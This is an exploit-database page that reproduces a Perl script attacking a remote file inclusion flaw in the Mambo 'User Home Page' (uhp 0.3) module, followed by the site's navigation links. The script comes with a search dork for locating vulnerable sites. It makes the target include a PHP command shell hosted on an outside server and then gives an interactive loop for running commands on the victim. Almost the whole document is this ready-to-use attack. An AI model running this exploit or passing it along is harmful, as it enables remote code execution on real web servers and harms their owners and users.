Mambo Module uhp 0.3 (uhp_config.php) Remote File Inclusion Exploit

Exploit Code :

#!/usr/bin/perl
# _/_ __ _
# long Life / / / My Home Land
# / / / /
# (@_ / / // /
# _ ) ________/ _// /________
# (_)@8@8{}<________Palestine_________>
# )_/ _____/
# (@
#
# MAMBO Ravenswood: User Home Page (Uhp v0.3) (uhp_config.php) Remote File
Inclusion Exploit
# Download Script :
http://mamboxchange.com/frs/download.php/1582/uhp_0.3.zip
# Founded & Coded by: Cold z3ro , Cold-z3ro@hotmail.com
# Dork : index.php?option=com_uhp , inurl:com_uhp
# Exploit :
http://www.example.com/mambo_path/administrator/components/com_uhp/uhp_conf
ig.php?mosConfig_absolute_path=Evil-script?
##

use LWP::UserAgent;

$Path = $ARGV[0];
$Pathtocmd = $ARGV[1];
$cmdv = $ARGV[2];

if($Path!~/http:/// || $Pathtocmd!~/http:/// || !$cmdv){usage()}

head();

while()
{
print "[shell] $";
while(<STDIN>)
{
$cmd=$_;
chomp($cmd);

$xpl = LWP::UserAgent->new() or die;
$req = HTTP::Request->new(GET
=>$Path.'administrator/components/com_uhp/uhp_config.php?mosConfig_absolute
_path='.$Pathtocmd.'?&'.$cmdv.'='.$cmd)or die "nCould Not connectn";

$res = $xpl->request($req);
$return = $res->content;
$return =~ tr/[n]/[....]/;

if (!$cmd) {print "nPlease Enter a Commandnn"; $return ="";}

elsif ($return =~/failed to open stream: HTTP request failed!/ || $return
=~/: Cannot execute a blank command in <b>/)
{print "nCould Not Connect to cmd Host or Invalid Command
Variablen";exit}
elsif ($return =~/^<br./>.<b>Fatal.error/) {print "nInvalid Command or No
Returnnn"}

if($return =~ /(.*)/)
{
$finreturn = $1;
$finreturn=~ tr/[....]/[n]/;
print "rn$finreturnnr";
last;
}

else {print "[shell] $";}}}last;

sub head()
{
print "n======================Long Life My Home Land
Palestine======================rn";
print "rn";
print "MAMBO Ravenswood: User Home Page (uhp_config.php) Remote File
Inclusion Exploitrn";
print " Ravenswood: User Home Page = (Uhp v0.3)
rn";
print
"==========================================================================
==rn";
}
sub usage()
{
head();
print "rn";
print " Usage: perl Cold-z3ro.pl <Victim> <Cmd Shell Location> <Cmd Shell
Variable>rnn";
print " <Victim> - Full path to script Example:
http://www.site.com/mambo_path/ rn";
print " <cmd shell> - Path to Cmd Shell e.g http://b0rizq.by.ru/c99.txt?
rn";
print " <cmd variable> - Cmd Variable Used In Php Shell like [ id ]rn";
print "rn";
print
"==========================================================================
==rn";
print "rn";
print " Fund And Coded By Cold z3ro rn";
print " Cold-z3ro[at]hotmail[dot]com rn";
rn";
print " Dork : index.php?option=com_uhp , inurl:com_uhp rn";
print " Thanks for H666p & HacOor
rn";
print " ---------rn";

exit();
}

Security

IT News

Search

SecurityAlert Database

About SecurityAlert

ExploitAlert Database

SecurityReason Research

WLB Database

Send to WLB

About WLB

Security Audit

Schedule

Prices of services

Contact

SecurityReason IT News

SecurityAlert

World Laboratory of Bugtraq

ExploitAlert

Apache

PHP

Contact

About SecurityReason